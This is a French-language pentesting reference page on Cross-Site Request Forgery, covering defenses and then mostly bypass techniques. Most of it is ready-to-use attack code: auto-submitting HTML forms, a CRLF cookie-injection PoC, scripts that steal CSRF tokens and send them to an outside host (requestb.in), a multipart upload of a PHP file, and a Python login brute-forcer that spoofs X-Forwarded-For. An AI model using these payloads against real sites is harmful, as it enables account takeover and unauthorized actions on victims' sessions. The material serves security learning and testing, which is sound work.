CSRF (Cross Site Request Forgery)

Reading time: 19 minutes

Cross-Site Request Forgery (CSRF) expliqué

Cross-Site Request Forgery (CSRF) est un type de vulnérabilité de sécurité présent dans les applications web. Elle permet à des attaquants d'exécuter des actions au nom d'utilisateurs non méfiants en exploitant leurs sessions authentifiées. L'attaque s'exécute lorsqu'un utilisateur, connecté à la plateforme de la victime, visite un site malveillant. Ce site déclenche alors des requêtes vers le compte de la victime via des méthodes telles que l'exécution de JavaScript, la soumission de formulaires, ou le chargement d'images.

Conditions préalables pour une attaque CSRF

Pour exploiter une vulnérabilité CSRF, plusieurs conditions doivent être réunies :

1. Identify a Valuable Action : L'attaquant doit trouver une action intéressante à exploiter, comme changer le mot de passe de l'utilisateur, son email, ou élever ses privilèges.
2. Session Management : La session de l'utilisateur doit être gérée uniquement via des cookies ou l'en-tête HTTP Basic Authentication, car d'autres en-têtes ne peuvent pas être manipulés à cette fin.
3. Absence of Unpredictable Parameters : La requête ne doit pas contenir de paramètres imprévisibles, car ceux-ci peuvent empêcher l'attaque.

Vérification rapide

Vous pouvez capturer la requête dans Burp et vérifier les protections CSRF et, pour tester depuis le navigateur, vous pouvez cliquer sur Copy as fetch et vérifier la requête :

Se défendre contre CSRF

Plusieurs contre-mesures peuvent être mises en place pour se protéger contre les attaques CSRF :

• SameSite cookies: Cet attribut empêche le navigateur d'envoyer les cookies avec des requêtes cross-site. More about SameSite cookies.
• Cross-origin resource sharing: La politique CORS du site victime peut influencer la faisabilité de l'attaque, surtout si l'attaque nécessite de lire la réponse du site victime. Learn about CORS bypass.
• User Verification : Demander le mot de passe de l'utilisateur ou la résolution d'un captcha peut confirmer l'intention de l'utilisateur.
• Checking Referrer or Origin Headers : Valider ces en-têtes peut aider à s'assurer que les requêtes proviennent de sources de confiance. Cependant, un façonnage soigneux des URL peut contourner des vérifications mal implémentées, par exemple :
  • Using http://mal.net?orig=http://example.com (l'URL se termine par l'URL de confiance)
  • Using http://example.com.mal.net (l'URL commence par l'URL de confiance)
• Modifying Parameter Names : Modifier les noms des paramètres dans les requêtes POST ou GET peut aider à prévenir des attaques automatisées.
• CSRF Tokens : Incorporer un token CSRF unique par session et exiger ce token dans les requêtes suivantes peut significativement réduire le risque de CSRF. L'efficacité du token peut être renforcée en appliquant CORS.

Comprendre et implémenter ces défenses est crucial pour maintenir la sécurité et l'intégrité des applications web.

Contournement des défenses

From POST to GET (method-conditioned CSRF validation bypass)

Certaines applications n'appliquent la validation CSRF que sur les requêtes POST tout en l'ignorant pour d'autres verbes. Un anti-pattern courant en PHP ressemble à :

public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}

Si l'endpoint vulnérable accepte aussi des paramètres depuis $_REQUEST, vous pouvez réémettre la même action en tant que requête GET et omettre entièrement le token CSRF. Cela convertit une action POST-only en une action GET qui réussit sans token.

Exemple:

• Original POST with token (intended):

POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded

__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]

• Bypass by switching to GET (no token):

GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1

Remarques:

• Ce pattern apparaît fréquemment conjointement avec du XSS réfléchi lorsque les réponses sont servies incorrectement en tant que text/html au lieu de application/json.
• Associer cela avec du XSS réduit fortement les barrières d'exploitation parce que vous pouvez fournir un unique lien GET qui déclenche à la fois le chemin de code vulnérable et évite complètement les vérifications CSRF.

Absence de token

Les applications peuvent implémenter un mécanisme pour valider les tokens lorsqu'ils sont présents. Cependant, une vulnérabilité apparaît si la validation est totalement ignorée lorsque le token est absent. Les attaquants peuvent exploiter cela en supprimant le paramètre qui contient le token, pas seulement sa valeur. Cela leur permet de contourner le processus de validation et de mener efficacement une Cross-Site Request Forgery (CSRF).

Le token CSRF n'est pas lié à la session utilisateur

Les applications qui ne lient pas les tokens CSRF aux sessions utilisateur présentent un risque de sécurité significatif. Ces systèmes vérifient les tokens contre une pool globale plutôt que de s'assurer que chaque token est lié à la session initiatrice.

Voici comment les attaquants exploitent cela :

1. S'authentifier en utilisant leur propre compte.
2. Obtenir un token CSRF valide depuis la pool globale.
3. Utiliser ce token dans une attaque CSRF contre une victime.

Cette vulnérabilité permet aux attaquants d'effectuer des requêtes non autorisées au nom de la victime, en tirant parti du mécanisme de validation des tokens insuffisant de l'application.

Contournement de la méthode

Si la requête utilise une méthode "bizarre", vérifiez si la fonctionnalité de méthode override fonctionne. Par exemple, si elle utilise un PUT vous pouvez essayer d'utiliser un POST et envoyer : https://example.com/my/dear/api/val/num?_method=PUT

Cela peut aussi fonctionner en envoyant le paramètre _method dans une requête POST ou en utilisant les en-têtes :

• X-HTTP-Method
• X-HTTP-Method-Override
• X-Method-Override

Contournement du token via en-tête personnalisé

Si la requête ajoute un custom header avec un token à la requête comme méthode de protection CSRF, alors :

• Testez la requête sans le token personnalisé ni l'en-tête.
• Testez la requête avec un token différent mais de la même longueur exacte.

Le token CSRF est vérifié par un cookie

Les applications peuvent implémenter une protection CSRF en dupliquant le token à la fois dans un cookie et dans un paramètre de requête ou en définissant un CSRF cookie et en vérifiant si le token envoyé au backend correspond au cookie. L'application valide les requêtes en vérifiant si le token dans le paramètre de la requête correspond à la valeur du cookie.

Cependant, cette méthode est vulnérable aux attaques CSRF si le site présente des failles permettant à un attaquant d'installer un CSRF cookie dans le navigateur de la victime, comme une vulnérabilité CRLF. L'attaquant peut exploiter cela en chargeant une image trompeuse qui définit le cookie, puis en initiant l'attaque CSRF.

Ci-dessous un exemple de la manière dont une attaque pourrait être structurée :

<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>

Changement de Content-Type

Selon this, afin d'éviter les requêtes preflight en utilisant la méthode POST, voici les valeurs Content-Type autorisées :

• application/x-www-form-urlencoded
• multipart/form-data
• text/plain

Cependant, notez que la logique du serveur peut varier en fonction du Content-Type utilisé, donc vous devriez essayer les valeurs mentionnées ainsi que d'autres comme application/json, text/xml, application/xml.

Exemple (from here) of sending JSON data as text/plain:

<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>

Contourner les Preflight Requests pour les données JSON

Lorsque vous tentez d'envoyer des données JSON via une requête POST, utiliser Content-Type: application/json dans un formulaire HTML n'est pas directement possible. De même, utiliser XMLHttpRequest pour envoyer ce type de contenu déclenche un preflight request. Néanmoins, il existe des stratégies pour potentiellement contourner cette limitation et vérifier si le serveur traite les données JSON indépendamment du Content-Type :

1. Use Alternative Content Types : Employez Content-Type: text/plain ou Content-Type: application/x-www-form-urlencoded en définissant enctype="text/plain" dans le form. Cette approche permet de tester si le backend utilise les données indépendamment du Content-Type.
2. Modify Content Type : Pour éviter un preflight request tout en s'assurant que le serveur reconnaît le contenu comme JSON, vous pouvez envoyer les données avec Content-Type: text/plain; application/json. Cela n'entraîne pas de preflight request mais peut être traité correctement par le serveur s'il est configuré pour accepter application/json.
3. SWF Flash File Utilization : Une méthode moins courante mais réalisable consiste à utiliser un fichier SWF Flash pour contourner ces restrictions. Pour une compréhension approfondie de cette technique, référez-vous à this post.

Referrer / Origin check bypass

Avoid Referrer header

Les applications peuvent valider le header 'Referer' uniquement lorsqu'il est présent. Pour empêcher un navigateur d'envoyer cet en-tête, la balise meta HTML suivante peut être utilisée :

<meta name="referrer" content="never">

Cela garantit que l'en-tête 'Referer' est omis, contournant potentiellement les contrôles de validation dans certaines applications.

Contournements Regexp

URL Format Bypass

Pour définir le nom de domaine du serveur dans l'URL que le Referrer va envoyer à l'intérieur des paramètres vous pouvez faire:

<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>

Contournement de la méthode HEAD

La première partie de this CTF writeup explique que d'après Oak's source code, un router est configuré pour traiter les requêtes HEAD comme des requêtes GET sans corps de réponse — un contournement courant qui n'est pas propre à Oak. Plutôt que d'avoir un handler spécifique qui s'occupe des requêtes HEAD, elles sont simplement remises au handler GET mais l'app supprime le corps de la réponse.

Donc, si une requête GET est limitée, vous pouvez simplement envoyer une requête HEAD qui sera traitée comme une requête GET.

Exemples d'exploitation

Exfiltration du CSRF token

Si un CSRF token est utilisé comme défense, vous pouvez essayer de l'exfiltrer en abusant d'une vulnérabilité XSS ou d'une vulnérabilité Dangling Markup.

GET en utilisant des balises HTML

<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

D'autres balises HTML5 qui peuvent être utilisées pour envoyer automatiquement une requête GET sont :

<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>

Requête GET via formulaire

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

Requête POST de formulaire

<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>

Requête POST d'un formulaire via iframe

<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

Requête Ajax POST

<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2",
})
</script>

Requête POST multipart/form-data

myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})

multipart/form-data requête POST v2

// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
//  MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"

//xhr.send(body);
xhr.sendAsBinary(body)

Requête POST d'un formulaire depuis un iframe

<--! expl.html -->

<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>

Voler CSRF Token et envoyer une requête POST

function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")

// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy")
}

function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}

var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()

Voler le CSRF Token et envoyer une requête POST en utilisant un iframe, un formulaire et Ajax

<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value

document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>

Voler le CSRF Token et envoyer une requête POST en utilisant un iframe et un form

<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>

<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>

Voler le token et l'envoyer en utilisant 2 iframes

<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

POSTSteal CSRF token avec Ajax et envoyer un post via un formulaire

<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>

<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>

CSRF avec Socket.IO

<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")

const username = "admin"

socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>

CSRF Login Brute Force

Le code peut être utilisé pour Brut Force un formulaire de connexion en utilisant un CSRF token (Il utilise également l'en-tête X-Forwarded-For pour tenter de contourner un éventuel IP blacklisting):

import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

Outils

• https://github.com/0xInfection/XSRFProbe
• https://github.com/merttasci/csrf-poc-generator

Références

• https://portswigger.net/web-security/csrf
• https://portswigger.net/web-security/csrf/bypassing-token-validation
• https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses
• https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html
• https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/